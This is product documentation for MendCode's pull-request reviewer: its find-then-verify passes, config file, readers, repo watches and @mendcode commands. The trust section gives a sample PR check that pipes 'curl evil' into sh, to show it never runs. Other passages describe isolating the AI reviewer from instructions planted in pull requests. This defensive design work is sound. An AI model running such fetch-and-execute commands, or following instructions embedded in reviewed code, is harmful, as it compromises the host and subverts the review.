Skip to content

Latest commit

 

History

History
1311 lines (979 loc) · 105 KB

pr-review.md

File metadata and controls

1311 lines (979 loc) · 105 KB

PR reviewer

MendCode reviews pull requests with your own model: one pass finds candidate defects, and an independent pass tries to refute each one. Only confirmed findings are published as one GitHub review with inline comments.

No SaaS, no GitHub App, no webhook server and no stored token.

The reviewer only reads: a pull request's text cannot make it write files, run commands or reach the network. What a malicious pull request can do has the details and how to make it stricter.

Open /pr repos to see your repository watches. The scrollable page shows directory, state, role, open PRs and publish setting in columns, with ended watches below active ones and the full daemon report below the table.

Key Does
[ and ] Select a repository and reveal its full directory.
s Stops that watch.
r Starts it again with its role.
R Refreshes.
Esc Closes the page.

Long replies from other /pr commands and /reviews actions offer F4 details. It opens the same readable text page without losing the previous screen; short confirmations remain notices.

Code: packages/daemon/src/pr-review/.

The review platform (durable jobs, remote-effect records, a reviewer registry, personal reviewers on several devices, review memory, fix modes, stages, stacks, budgets, other forges) is built on top of this. Its section gives a status for each part: the daemon runs all of them, on GitHub and, through their adapters, on GitLab and Gitea / Forgejo (providers lists what those two lack).

To set it up for a team (the hosted workflow, an always-on server with personal reviewers on laptops, what happens while a laptop is off or asleep, troubleshooting), see PR reviewer: team setup.

How a review works

A review builds context, finds candidates, verifies them independently, then ranks the findings for publication.

1. Build the context

The review reads the diff of base...head and, for every symbol a hunk touches, its callers and callees from the code graph: depth 2, at most 12 each. No vector index is used.

The graph gives the blast radius; the child reads files with its own read-only tools. Without a graph index the review uses the diff alone and says so.

The context stays inside half of budget.context_tokens (200,000 when unset). This bounds one call, not the PR's total. When context needs cutting:

  1. Callers are cut first.
  2. The largest files' diffs are cut next: files outside the repository's main language before the largest file of it. The main language is the one most files of the code graph have.
  3. The summary says what was cut.

A hunk that only deletes lines is not sent. Its file keeps its header and gains one line with the number of deleted lines and where they were, so the prompt only ever shrinks.

On a large test PR of 24 files, 12 of them deleted, the diff went from about 40,300 to 8,700 estimated tokens. A PR that deletes little saves little.

A diff that still does not fit one call is reviewed in parts of whole files, at most 12, one review call each. Their candidates are merged before one verify pass; a stopped job's checkpoint names its progress (analysis 3/5).

A diff at most 5% over one call's share stays one call, with callers cut first: a part of a few files would pay a whole review child of its own (its start, its brief and its reading) for them. The share leaves half the call's window free, so the slack fits.

Data, outputs and generated files (result JSON, CSV, lockfiles, minified files, snapshots, large fixtures, assets) do not go to the review pass whole. The readers on a cheap model summarize them first. In balanced and full tiers the readers also read the changed code first, and the review pass gets their summaries and only the hunks of the risk spots they cite, not the whole diff.

The pull request's title and description go in as untrusted data for the pre-merge checks. So do issues it closes with GitHub's keywords (Fixes #12): at most three, each read with one gh api call.

2. Find candidate defects

One child session in plan mode, the read-only explore agent with no edits, answers with findings as JSON: path, line on the diff's new side, severity, category, summary, detail, file:line evidence and an optional suggestion.

  • An invalid answer gets one repair turn, then the review fails ([PR_REVIEW]: invalid findings). Prose never becomes a finding.
  • An answer that holds the asked JSON object is used as it is, even with prose after it that contains a brace, the object written twice, or a string with a stray backslash or a raw line break. Only an answer without the object (prose, a cut answer) costs the repair turn.
  • A finding on a line the diff does not show on its new side is dropped.

The same answer carries the walkthrough:

  • An overview and changed files grouped by layer.
  • A Mermaid sequence diagram when the change alters how components call each other.
  • The change type and merge risk with its reason.
  • Pre-merge checks: Title, Description, Linked issues, Out of scope; passed, warning or failed.

It is a description, not a claim. A group or check that does not fit is left out; an invalid walkthrough never fails the review.

3. Verify the candidates

A fresh child, never the one that found them, tries to refute each finding, at most 10 per turn. Its answer includes a score from 0 to 10: certainty and importance, with no extra call.

Verdict Publication
confirmed Published.
plausible Published only by the strict profile, marked as such.
rejected Not published. A finding the verifier did not judge also counts as rejected.

A verifier that fails publishes nothing, and the summary says so. Its answer gets one repair turn.

If it is still unusable, or the child crashed, the attempt fails with the verifier's words and the start of its answer in the job's error. Candidates stay in the checkpoint; a backoff retry verifies them again without a second review pass, and without asking the readers again: no review pass runs to read what they would say.

A review pass with no candidates has nothing to verify and is published as no findings.

4. Set the merge risk floor

The review pass judges risk before verification, but risk is never below what confirmed findings show:

Finding Risk floor
Confirmed critical High.
Confirmed major At least medium.
Rejected Raises nothing.

The reason starts with the count, such as "1 confirmed critical finding."

5. Rank and cap the findings

  1. min_score drops findings the verifier scored below it: default 0, nothing dropped. A finding with no score is never dropped.
  2. Findings sort confirmed first, then critical, major, minor, then higher score, then category.
  3. At most cap (8) are shown. The rest become one line in the summary: "And N smaller notes not shown".

Repository config

.mendcode/review.yaml (YAML, every key optional):

preset: balanced        # balanced (the defaults below) | quiet | strict | on-request | autofix; the file's own keys go over it
enabled: false          # nothing is posted until this is true on the base branch (a watch still reviews into its own session)
profile: normal         # quiet (critical and major only) | normal | strict (also maintainability, and plausible findings)
cap: 8                  # 1..30 inline comments per review
min_score: 0            # 0..10: findings the verify pass scored lower are not published (0 = all, as before); the score shows small in the comment
fallback_models: []     # up to 5 models tried in order when the reviewer's own model fails with a provider error or is not available (below)
paths:                  # extra instructions for files matching a glob; only globs the diff touches reach the prompt
  - glob: "packages/daemon/**"
    instructions: treat races as major
ignore: ["dist/**", "**/*.generated.json"]
checks: ["bun test"]    # commands the verify pass gets the output of (below)
fixes: false            # whether `@mendcode fix` may push a commit to the PR branch
triggers: { opened: true, synchronize: true, ready_for_review: true, drafts: false }
budget:
  tokens_per_pr: 1000000  # per PR head: input not served from the provider's cache, plus output; null = no internal cap
  tokens_per_diff_token: 8  # the cap grows with the diff: 150,000 + 8 per diff token, never above tokens_per_pr; 0 = always tokens_per_pr
  context_tokens: 200000  # what one call may carry (half of it is the diff and graph context); unset: 200,000
  on_quota: wait          # wait | stop at a real provider quota (platform module, below)
  max_wait_minutes: 360
cooldown: { pr_minutes: 10, repo_per_hour: 20 }   # automatic reviews only; /pr review is never limited
reviewers: all          # all (every PR) | requested (only PRs that request a review from, or are assigned to, the reviewer's gh login) | [alice, bob] (only their @mendcode comments are taken; every PR)
publishers: maintainers # maintainers (gh login with write access) | [alice, bob] (these logins, contributors included) | anyone
# The review platform's keys (see "Review platform" below), used by the daemon's reviewer:
mode: auto              # auto | on-request | labels
filters: { labels: { include: [], exclude: [] }, branches: { include: [], exclude: [] }, authors: { include: [], exclude: [], bots: false }, paths: [] }
coverage: incremental   # incremental | full (an audit of the whole repository is only ever explicit)
fix: { mode: review, push: false, personal: false, max_rounds: 3 }   # review | fix-once | fix-loop
phases: { mode: dynamic, list: [], max_rounds_without_progress: 2 } # none | fixed | dynamic
template: { sections: [], tone: neutral, language: English }        # tone: neutral | concise | detailed; language: a name or auto (below)
backlog: { max_prs: 10, window_days: 30 }   # open PRs reviewed when a watch starts (below); 0..50 and 1..365; max_prs: 0 = none
readers: { enabled: true, code: all }  # cheap readers read data files and all changed code; code: all | overflow; parallel: 1..8 (unset: by tier); model: a cheap model (below)
commands: { describe_title: false, approve: false }   # may `@mendcode describe` replace the title; may `@mendcode approve` approve (below)
status: true            # a publishing review sets the `MendCode review` commit status on the PR head (below)

Trust the base branch's configuration

The base branch's file decides everything a pull request could abuse: enabled, checks, budget, ignore, profile, cap, fixes, the triggers, the cooldown, reviewers, publishers, backlog, commands, status and template.language.

A PR's own file may only add path instructions. A PR that adds checks: [curl evil | sh] runs nothing.

A watching reviewer reads these from the base branch's current tip on origin, fetched into FETCH_HEAD only, not from the PR's recorded base or the local checkout. A PR opened before the file was added still follows it.

An invalid file is named in the summary ([PR_REVIEW]: config line 2: … or the field). The defaults, or the base branch's file, are used.

Forge Logins in reviewers and publishers
GitLab and Gitea May hold _ and ., but not a trailing ..
GitHub Only letters, digits and -.

Run checks safely

checks run once per review, from the base config only, in the OS sandbox with no network.

  • The PR's checkout is read-only; only a scratch and the temp directories are writable.
  • The verifier reads their exit code and last 6,000 characters.
  • Without a sandbox backend they do not run, and the verifier is told why. They never run unconfined.

Data files and readers

Readers are part of the PR reviewer in balanced and full tiers. Before a review, each changed file is triaged.

File or change Destination
Binary or asset; lockfile; minified file or source map; test snapshot Reader.
Marked linguist-generated or linguist-vendored Reader; only the base branch's .gitattributes counts, never the PR's own.
Data format (JSON, JSONL, CSV, TSV, XML, ...) Reader with 200 changed lines or more, or under a data directory (results/, outputs/, benchmarks/, fixtures/, data/, ...).
Large fixture; added lines mostly numbers or one repeated shape Reader.
Change under 40 lines Stays with the review pass.
Manifests and configuration Stay with the review pass: package.json, tsconfig*.json, .github/, .mendcode/.
Code cut from a diff too large for its parts Reader too.
Any other changed code file (readers.code: all, the default) Reader first; the review pass gets its summary and risk-spot hunks.

Readers read the code

The review's expensive model should spend its tokens judging, not reading every line. In balanced and full tiers with readers enabled and readers.code: all (the default), the cheap readers read all the changed code first:

  1. Each code file's diff goes to a reader, one file per group, batched into calls of a bounded size and read readers.parallel at once. The reader sees the whole diff of the file with each new-side line numbered.
  2. For each file the reader returns what changed (behaviour, and the contracts, exports, signatures, config keys or schemas it touches) and its risk spots: new-side line ranges with a kind (error paths, null or undefined, concurrency, state machines, security, persistence or migrations, performance in hot paths, weakened tests, contracts) and a sentence on why; or that nothing is risky.
  3. Every range is checked against the diff: both ends must be new-side lines of that file. Invalid ranges are dropped and counted in the review note.
  4. The review pass gets the PR title and description, the list of changed files with their sizes, each file's summary and risk spots, the exact hunks the risk spots touch, and the code graph's callers and callees of the changed symbols. A small file (about 2,400 characters of diff or less) is shown whole. It never gets the whole diff by default, and it can open any file with its own read-only tools, which its prompt tells it to do for anything that matters.

A file goes to the review pass raw, its whole diff and no summary, when a reader cannot be trusted with it. That is any of: no cheap model for the provider, the readers' share of the cap is spent (or, on a small diff whose scaled cap gives the readers less than one call's fixed cost, it never covered a call; the note then says the diff is small), the reader call failed or timed out, the answer is not the asked JSON, the file has no answer in it or no description of what changed, it cites risk spots but every one is outside the diff, or it names no risk spot and does not say there is none. A file larger than about 48,000 characters of diff is never sent to a reader. Nothing is marked reviewed unless something read it. A reader never falls back to a larger model.

Summaries are hints and can miss a defect: a risk spot a reader did not flag is a hunk the review pass does not see unless it opens the file. That is the trade for a much smaller review prompt. It is bounded by what comes after: a finding is published only after the verify pass confirms it against the real code, so a miss costs a missed finding, never a false one. Nothing a reader says is published.

readers.code: overflow restores the earlier behaviour: the review pass reads the code itself, and readers take only data files and the code that does not fit. Minimalist tier is unchanged: no readers.

Cost: the readers may count up to 40% of the review's cap (25% with overflow); when they read code, the review and verify passes together have at most the other 60%, and less when the readers counted more. The cap itself is unchanged and still the total for the PR head. Reader turns are accounted as the read purpose in the accounting ledger, apart from review and verify, and /reviews shows the job's tokens with the part the cheap readers spent.

Large pull requests

A large pull request is not refused for its size. The diff is not read whole:

  1. git diff --numstat lists the files and their sizes first.
  2. A file triage names from that alone (an asset, a lockfile, a data format, a generated file) is read only as a sample for its reader, at most about 1.5 MB.
  3. Code is counted through bounded per-file streams.

In balanced and full tiers with readers enabled, code beyond 4 MiB no longer stops the review. Within that bound and its existing token cap, the main pass keeps higher-risk files, preferring:

  1. Source over tests/docs.
  2. Files imported by other changed files.
  3. More changed lines.

The rest goes to cheap readers, like code cut from the review's parts. Their diffs are fetched only when a funded reader needs them, in small per-file excerpts; the whole oversized code diff is never held in memory.

Excerpts are explicitly partial, not full-file coverage. Readers return short summaries and concrete contract risks (changed signatures, exports, config keys, schemas or behaviour) with file:line.

When graft/ and the graft CLI exist, bounded graft callers <symbol> queries can supply callers of changed exports. Absent or failing graft is skipped. These helpers load only during a review.

The main reviewer sees the diffs it was given whole, reader summaries and risks, and which files it did not read in full.

Readers keep their share of the cap (above). If it is spent, or no reader can answer, remaining code files are listed as not read in the review note instead of failing or being called clean.

Condition Limit or fallback
64 MiB of reviewable code or 20,000 changed files Hard bound: stops before model calls with the reviewable part of the diff is …, more than the … MiB a review reads and advice to split the pull request or mark generated files in .gitattributes.
Minimalist or readers.enabled: false Keeps the 4 MiB code failure.
Readers off, data file Remains a bounded sample the token budget cuts.

Already-reviewed release pull requests

On GitHub, a release PR (for example beta into stable) reuses the last contiguous reviewed tree from merged PRs in its range.

  1. The reviewer checks at most two pages of recently updated closed PRs, and at most two pages of reviews per matching PR.
  2. Only its own account and reviewer identity count. A complete review must start at the covered tree; stacked reviews record the parent head they actually reviewed from. Complete incremental reviews, including those with no new findings, chain from the preceding reviewed head to the merged head; that is why a push with nothing new still gets a short review recording the range it covered. A stale, partial, missing or unreadable review does not establish coverage.
  3. In first-parent order, an unreviewed PR or direct push stops coverage; merge-only changes remain to be reviewed.

The summary says Already reviewed in #82, #83, #84; this review covers only <baseline>..<head>. If the trees are identical, it publishes a short note that nothing else changed, without calling a model.

The size and reader rules above apply to the remainder, not the already-reviewed prefix. History outside the bounded lookup is reviewed normally; explicit full reviews still review the whole range.

This lookup runs with the reviewer, never at start-up.

Reader summaries and models

Readers group files by directory, extension and shape; one experiment's 50 result files are one group. Each group gets a short summary of what it holds and its structure.

Summaries name rarities: secrets, absolute paths, NaN or Infinity, huge or truncated values, binaries, and data that contradicts itself.

The review pass gets each summary under the first file's diff --git header, and a one-line size for the rest. It then reviews as always, verify pass included.

A summary is a hint: the review pass reads the file with its tools before it reports anything about it. Only findings the verify pass confirms are published.

  • Cheap models only. A reader runs on the cheapest model of the reviewer's own provider and transport, from a fixed list: Claude Haiku (through Claude Code for a Claude Code reviewer), GPT mini, luna or nano (Codex or the ChatGPT login), Gemini Flash, DeepSeek chat or Flash, Grok mini, Mistral small. The model is checked against that list before every call. readers.model may name one of them; a model off the list, or of another provider, is refused with a note and the automatic pick is used.
  • No cheap model, no model. When the provider has none, or the readers' share is spent, or a reader fails or answers out of shape, the group gets a local summary instead: sizes, changed lines, JSON keys or CSV columns, record counts, and the rarities found without a model (a secret's kind, never its value). Overflow code groups are instead marked not read, never locally called reviewed; a changed code file no reader could read goes to the review pass raw (above). A reader never falls back to a larger model. The hosted workflow always uses local summaries.
  • Parallel readers. readers.parallel (1..8) sets how many read at once; unset, balanced uses 2 and full 3. Minimalist does not enable readers for a review.
  • Budget. Readers may count up to 40% of the review's cap when they read code (a quarter with readers.code: overflow), checked before each call; what they count comes off the cap of the review and verify passes, so the PR's total stays under budget.tokens_per_pr. Their turns are in the accounting ledger as the read purpose (files written before it existed still load) and in /usage under the prReview role, with the reader's model. A checkpoint keeps the summaries, so resuming the same head does not read the files again. A resume that only verifies (the review pass is already in the checkpoint) calls no reader at all.
  • What you see. The summary and the session notice say how many files went to readers and on which model, for example Readers: 106 files went to readers instead of the review pass whole: 106 files by claude-haiku (1 call, up to 2 at once, …).
  • readers.enabled: false sends every diff to the review pass as before; readers.code: overflow does so for code only.

Review language and session notices

template.language (default English, a language name such as Español, or auto) is the language of the reviewer's prose: summary, walkthrough, findings, checks and template sections. Every review, verify, re-check and fix prompt pins it, and so does an @mendcode explain reply. That holds whatever the pull request, its comments or the user's own harness settings use, so all reviews of a PR read in one language; the template's labels stay English. On every engine it reaches the child the same way:

  • A Claude Code child also gets it as --settings '{"language":"…"}', the flag layer Claude Code loads above the user's ~/.claude/settings.json, whose language would otherwise reach a public review.
  • A Codex child gets it as a developer message (-c developer_instructions).

Nothing is written to any settings file. Only the repository sets it: a personal or task layer that changes it is refused as template.language.

Choose the language automatically

auto is the language of the PR's author, judged once per PR from its title and description.

A small deterministic detector reads the script (Cyrillic, CJK, Arabic and others). For Latin text, it reads the function words of Spanish, Portuguese, French, German, Italian and Dutch.

A short, empty, mixed or unclear text is English. The result is kept with the PR's review state and on the review itself, so later pushes, an edited description and the hosted runner keep the same language.

Session notices

The reviewer's notices to the watching session (a review published, a fix pushed, a job stopped) are stored and shown in its transcript, with no model call. Set experimental.pr_review_prompts: true to have the session's model answer each one instead.

Notice detail Display
Pull request (owner/repo#N) Terminal link to it on GitHub.
review <id> after it Link to that review; links follow the hyperlinks setting.
Job id Last eight characters with a /reviews open <those characters> hint.
Queue row Keeps the pull request and what happened to it.

An unfinished watch, a held notice or a job that runs later (queued, waiting for a time, a claim or a quota reset) keeps a detached daemon from stopping itself when idle.

A closing terminal hands it to a detached daemon; the daemon.status answer names it in keepAlive.standing.

Learnings

Add one bullet per thing the maintainers taught the reviewer to .mendcode/review-learnings.md: for example, "prefer early returns" or "a missing await on store.flush is intended".

The file is read from the base branch, cut at a bullet boundary to 4 KB, and included in the review prompt.

A PR cannot teach the reviewer to ignore its own bugs: a learning proposed on a PR counts once it is merged. Both files are versioned with the code, reviewable like any other change, never a vendor's memory.

On your machine: /pr review and the repo watch

The local reviewer is off by default: it reaches the network through gh (or a GitLab or Gitea adapter) and spends model calls.

Turn on the local reviewer

  1. Use the balanced tier or above (tiers: feature pr_review, mode permit; off with no tier).
  2. Turn on experimental.pr_review with /pr on. This also turns on PR watch. To enable only the reviewer, use /experimental pr_review on alone.
  3. Use a local session. Remote and peer clients are refused.

/pr off turns both the reviewer and PR watch off.

Review now or watch a repository

  • /pr describe [pr] does what @mendcode describe does for that pull request, from your terminal: it needs /pr publish on and a login that may post here, like a review. With no finished review of the head it queues the normal one and writes the description when it ends, saying so in the session.

  • /pr review [pr] reviews one pull request now (the current branch's when omitted), even when the repo config is off; posting still needs enabled: true. A head already reviewed with the same config is answered at once ("already reviewed at …, so nothing was run"), before anything is spent; /pr review [pr] full (the tool's full: true) reviews it again whole. A plain @mendcode review on such a head is skipped the same way, and its reply gives that review's result: when it ran, its new findings, the earlier findings now fixed and those still open, by severity, and @mendcode review full to review the whole pull request again. A head that only has a partial review (it reached the cap) is not reviewed: /pr review continues it with what is missing.

  • The pr_review tool is the model's way to do the same. It has two actions:

    • review follows the session's permission mode like a command: full access runs it, other modes ask ("Review a pull request"), and a grant for the session or always holds. The repository's filters and the PR claims apply, and the review is posted only as /pr publish allows; otherwise it stays in the session.
    • status lists the reviewer's jobs of the checkout.

    It is not offered to remote turns or to review children. A session never posts @mendcode (or anything else) from your account to start a review.

  • /pr watch-repo watches the session's repository: about once a minute gh pr list reads the open PRs, and a new PR or a new head (a draft once it is ready, unless triggers.drafts) starts a review. Nothing changing means no model call.

  • Open PRs when a watch starts. This applies when a watch starts, after a daemon restart, and after a pause or outage. MendCode queues a review (trigger backlog) for the open PRs whose current head has no review yet. A review by this login or by an allowed publisher counts, hand-written reviews included. They go newest first, at most backlog.max_prs (default 10), and only PRs updated within backlog.window_days (default 30). A PR whose head already has a review stays as it is. The /pr watch-repo answer lists what it queued and every PR it skipped, with the reason. max_prs: 0 restores the old baseline, where the PRs open when the watch started were never reviewed. To start that way, put this in .mendcode/review.yaml, commit it so it is in the checkout's HEAD (the watch reads the file from the commit, not from the working tree), and then type /pr watch-repo requested in a session in that repo:

    enabled: true
    backlog:
      max_prs: 0

    max_prs: 0 turns off only this backlog. A PR that already requests a review from the daemon's login, is assigned to it, or is routed to a personal reviewer of it by .mendcode/reviewers.yaml is still reviewed when the watch starts, as it always was.

  • /pr unwatch-repo stops it, /pr repos lists the watches. The watch belongs to the daemon, not to a terminal or an open session: it keeps reviewing with every terminal closed and after a daemon restart (watches.json), as long as the machine and its daemon run. A sleep or a network outage does not end it: it resumes by itself and catches up (Outages and sleep, below). To review with the machine off, use the hosted workflow or an always-on server (team setup).

  • Cooldown, on by default: a PR is reviewed again only cooldown.pr_minutes (10) after its last automatic review; pushes in between are one review, at the newest head, when the time is up. A repository starts at most cooldown.repo_per_hour (20) automatic reviews an hour; over it the session is told once an hour and the waiting PRs run as the hour frees up. /pr lists how many wait.

  • Roles: /pr watch-repo all reviews every PR (one reviewer for the whole repository, on a server for example). /pr watch-repo requested reviews only the PRs that request a review from the daemon's own gh login or are assigned to it, and the PRs that .mendcode/reviewers.yaml routes to that login's personal reviewer by area or label. Each developer runs their own reviewer, and GitHub's reviewer and assignee fields (or the registry) decide who reviews what. Being requested starts a review by itself. Without a word, the repo config's reviewers decides; running the command again with the other word changes the watch in place. The login is read once with gh api user.

  • Before the first post to a repository the session is asked once: /pr publish on posts that review (as found, no second model call) and later ones. A review that finished while posting was not allowed (asked, unanswered or declined) is kept in <dir>/pr-review/held.json, so it survives a daemon restart; publish-on posts it while its head is still the pull request's head, otherwise it says the head moved and posts nothing, and it says when no finished review was waiting. One held review per pull request. /pr publish off keeps reviews in the session as notices.

  • Protocol: pr.review (sessionId, action: watch-repo | unwatch-repo | review | list | publish-on | publish-off, directory, pr, role: all | requested). The schema also accepts the platform's actions (status, audit, job-pause, job-resume, job-cancel, job-retry, take-over, release, config-show, config-preview, config-apply, config-revert, config-history, with jobId, reason, scope, patch, version), and the daemon answers them (see the review platform below). audit has no slash command; it is reached through this action only.

Worktrees and review children

A review is a durable job of the repo watch (<dir>/pr-review/jobs.json), at most two at once by default (see Concurrency).

The head is fetched into FETCH_HEAD only and checked out detached in a throwaway worktree under <dir>/pr-review/worktrees/, removed afterwards. Your branches and checkout are never touched.

The children are hidden sessions on the explore agent in plan mode, on the owner session's model. An approval they ask for is refused.

  • They read with read, grep, glob and the graph tools.
  • shell is not offered, since plan mode refuses every command. A model that read with git show got only refusals and reported its repository reads as denied.
  • Skills and instruction files (AGENTS.md, CLAUDE.md, yours or the PR's) are not offered either. The review prompt is the whole brief; a PR cannot steer its own reviewer.

A user skill once sent a child to files outside the checkout, so its read was refused as a whole.

Harness isolation

A Claude Code review child runs with CLAUDE_CODE_DISABLE_CLAUDE_MDS and CLAUDE_CODE_DISABLE_AUTO_MEMORY and --setting-sources user, so the PR's own .claude/ settings and hooks never load. A fix session gets --setting-sources user too.

A Codex child (a codex: model) starts its codex app-server with -c overrides for that process only:

Session Isolation
Review child project_doc_max_bytes=0: no AGENTS.md, AGENTS.override.md or fallback file of the checkout. The memories feature is off (memories.use_memories and memories.generate_memories false too), and skills.include_instructions=false.
Review child and fix session Each directory from the worktree up to its .git is an untrusted project (projects={...={trust_level="untrusted"}}). The checkout's .codex/config.toml, hooks and rules stay disabled even when you trust the repository the worktree belongs to; Codex hands a worktree that trust.
Fix session Checkout skills disabled by path (skills.config).

Codex has no switch for your own ~/.codex/AGENTS.md, so a Codex review child still gets it. CODEX_HOME is never moved.

This is a known limit, not an oversight: in codex-cli 0.162.1, the following limits apply:

  • codex debug prompt-input still renders that file with project_doc_max_bytes=0, project_doc_fallback_filenames=[], instructions="" or user_instructions="".
  • Its config schema has no include_user_instructions key, only the permissions, apps, collaboration-mode and environment ones.
  • No feature flag covers it, and codex app-server has no such option.

The only other way, a separate CODEX_HOME, needs your login copied or moved, which MendCode never does. A read outside the checkout is refused with what may be read instead.

Incremental reviews and fixed findings

A push reviews only the commits since the last reviewed head (the whole PR after a force push) and re-checks the published findings in the files it changed, whether their lines were rewritten, moved, or left as they were while code next to them changed (a fix often inserts the missing call above the flagged line): one that no longer reproduces gets its thread resolved. A finding in a file the push did not touch is not asked about again. A measured cost rise (Performance of MendCode's own pull requests) is never re-checked by a model: the new head's measurement decides, and a head measured without a rise resolves it, on an incremental review or a whole-PR one (after a force push, or with coverage: full). A head with nothing to review costs no model call: the same files as the reviewed head (an empty commit, a reworded or re-signed commit, a force push that changed nothing), or only files the config ignores. Its summary says so, and nothing new is posted. The last reviewed head is the saved state's, or, when this device has none (another device reviewed, the data directory was wiped), the head marker of this login's newest review on the PR. The summary says only the commits since the last review at 0afbdcd``. GitHub lets only writers and the PR author resolve a thread; where it refuses (a publisher with read access), one reply in the thread says Fixed in <head> instead. An explicit review (`/pr review`, `pr_review`, `@mendcode review`) re-checks every open finding, also on a head reviewed before; when it finds nothing new it posts no second review, and `@mendcode review` gets a reply naming the head and the findings still open. A review counts as a review of a head only when it is a MendCode review (it has the `## MendCode review` summary or MendCode's marker) when it comes from your own login: the empty review GitHub records for a thread reply (`Fixed in `) or a note written by hand is not one. A missing or logged-out `gh` pauses the watch with one notice. A paused watch tries again every 5 minutes, and at the first tick after the daemon starts, and resumes by itself with a second notice; `/pr watch-repo` tries at once. It keeps what it saw, so the PRs opened, the heads pushed and the `@mendcode` comments written during the pause (every page of them) are handled when it resumes, not taken as a new baseline. Before, a paused watch waited for `/pr watch-repo`, which took the PRs open at that moment as the baseline.

Outages and sleep

A listing that fails for any other reason backs off. The next tick lists again, then the gap doubles (2, 4, 8 minutes) up to 15 minutes.

At the first successful listing, the watch resumes by itself. It reads PRs opened, heads pushed and @mendcode comments written meanwhile; the platform's catch-up runs too, as after a pause.

Failing time is counted awake. The daemon compares wall time with a monotonic clock that stops during sleep, and never counts more than two backoff gaps between failed listings.

A laptop asleep with its lid closed adds nothing, including dark wakes without network.

Failure Watch behavior
Network or forge outage: no route, DNS, timeouts, 5xx, rate limits Never ends the watch. After 15 awake minutes, the session hears once that the watch is waiting for the forge and has not stopped, and again when PR listing works. A gh call the forge never answers is stopped after 15 s and counts as a timeout.
An error that says neither Same: never ends the watch.
Permanent error for 15 awake minutes in a row Ends the watch with that error in the notice. /pr watch-repo starts it again.

Permanent errors include a repository gone or renamed away (404), access revoked (403 that is not a rate limit), or a checkout whose remotes no longer point at GitHub.

Before, 15 wall-clock minutes of any failure ended the watch. Closing a laptop for a quarter of an hour stopped every review until someone ran /pr watch-repo (seen live, ~4 h asleep).

Held notices and saved state

Every notice (a review's findings, a failure, an @mendcode comment that was not answered and why) goes to the session only while it is free, so it never cuts into your turn or your queue. One that arrives during a turn, behind queued messages, after a cancel or while the session is paused is held, in order, and offered again when the session goes idle (and every minute): several held ones arrive as one message, the newest 20 per session are kept, and they survive a daemon restart in <dir>/pr-review/outbox.json. Before, such a notice was dropped: two @mendcode review comments two seconds apart showed only the first one's notice.

State: <dir>/pr-review/watches.json, <dir>/pr-review/outbox.json, <dir>/pr-review/<owner>/<repo>/<n>.json and the platform's jobs.json, effects.json, accounting.json, ownership.json, device.json and profiles/ (0600, atomic). Which events queue a review is read from the checkout's own .mendcode/review.yaml; whether it may post is read from the PR's base.

Many reviewers on one repository

Anyone can point a reviewer at a public repository. The repository decides who may post through its base branch.

Who may post and answer

  • Who posts: publishers in .mendcode/review.yaml. maintainers (the default) posts only from a gh login with write access; a list (publishers: [alice, bob]) names the logins that may, contributors without write access included; anyone lets every reviewer post. A reviewer that may not post keeps its reviews in its own session and answers no @mendcode comment, so 300 people watching one repository never flood it. The hosted workflow is the repository's own and always may. A modified client can ignore all of this; GitHub's interaction limits and blocking are what stop it.
  • One review per head: before posting, a reviewer reads the PR's reviews; a MendCode review of the same head by another publisher (a listed login, or an owner, member or collaborator for maintainers, or the hosted workflow) makes it stand down, and the review stays in its session. Two reviewers that start at the same moment both spend tokens, but only the first posts.
  • One answer per comment: every reply carries <!-- mendcode:answers=<comment id> -->; a reviewer that finds another publisher's answer to the same comment does not answer.
  • Addressing one reviewer: @mendcode review @alice (any command, the login right after the command word) is answered only by the reviewer running as @alice; the hosted workflow leaves it to her. A comment addressed to no one is answered by reviewers of every PR (/pr watch-repo all) and by a requested reviewer when the PR requests it. GitHub's own review request is the other way to ask one developer's reviewer: requesting @alice starts her requested reviewer.
  • Who may ask: reviewers as a list (reviewers: [alice, bob, carol]) is the team whose @mendcode comments are taken; a comment from anyone else is not answered, not kept and not told to the session (the hosted workflow skips it). PRs are reviewed as with all. The list only narrows: a listed login still needs write access to run a command, and it does not make anyone a publisher. Three separate questions: reviewers says who may ask, publishers whose reviewer may post, write access who may run a command. all and requested keep their meaning and take anyone's comment.
  • Who may run a command: write access, read from GitHub. A contributor reviewer listed in publishers cannot read another user's permission (GitHub needs push access for that), so it accepts the comment's author association instead: owner, member or collaborator.

Choose a team setup

Setup Reviewers
Shared reviewer One reviewer of every PR: the hosted workflow, or one /pr watch-repo all on a server. Everyone else uses requested.
Personal reviewers only Every developer uses requested; no shared reviewer.

For steps and trade-offs for laptops that are often off, see team setup.

A repository that has not set enabled: true is still reviewed by a watch you started, into your own session only: nothing is posted and you are not asked to post.

Commands in a pull request

Start a comment line with @mendcode and a command word. Each answer goes in the same thread.

Quoted lines, code blocks and MendCode's own replies (<!-- mendcode:reply -->) never run commands.

Permission checks

Only someone with write, maintain or admin access gets anything but one reply saying only maintainers can run it. Every command is checked in this order:

  1. The commenter's permission.
  2. The repository's filters.
  3. The reviewed head and claims.

Someone without write access always gets the one refusal, whatever state the head is in.

A comment from the daemon's own login is its owner's request. Its @mendcode review runs like /pr review, and its @mendcode fix still needs that login's write access. Anything it is refused is said in the session only, never posted on the pull request.

Command What happens
@mendcode review Reviews what is new: when a full review of an earlier head exists and the config is unchanged, only the commits since it (like a push), re-checking the open findings; otherwise the whole PR. Even a paused PR. A head that already has a review by your login or a counted publisher is not reviewed again: one reply links that review and says "the next push will be reviewed", and the next head is reviewed. A PR the repository's filters keep out of review (an excluded label, branch or author, a bot, filters.paths, a draft without triggers.drafts, a personal profile's narrowing) gets one reply naming the filter instead, and nothing runs.
@mendcode review full Reviews the whole PR, like /pr review.
@mendcode pause / resume New pushes are not reviewed until resume; review still works. The reply carries <!-- mendcode:paused=1 -->, so a hosted runner reads it back.
@mendcode explain [question] As a reply to one of MendCode's review comments: a read-only child reads the code and answers about that finding, and may say it is wrong.
@mendcode fix [what] Held to the same filters as @mendcode review (one reply naming the filter). Needs fixes: true on the base branch, and a branch in this repository or a fork that allows edits from maintainers. A separate session (the default agent, your normal permission mode, its approvals come to you) edits a throwaway worktree at the head; the base config's checks run on the result; one commit is pushed to the PR's branch only if they pass, never with force. A failing check, no change, or a branch that moved meanwhile pushes nothing and the reply says why. Local daemon only: the hosted workflow's token cannot push.
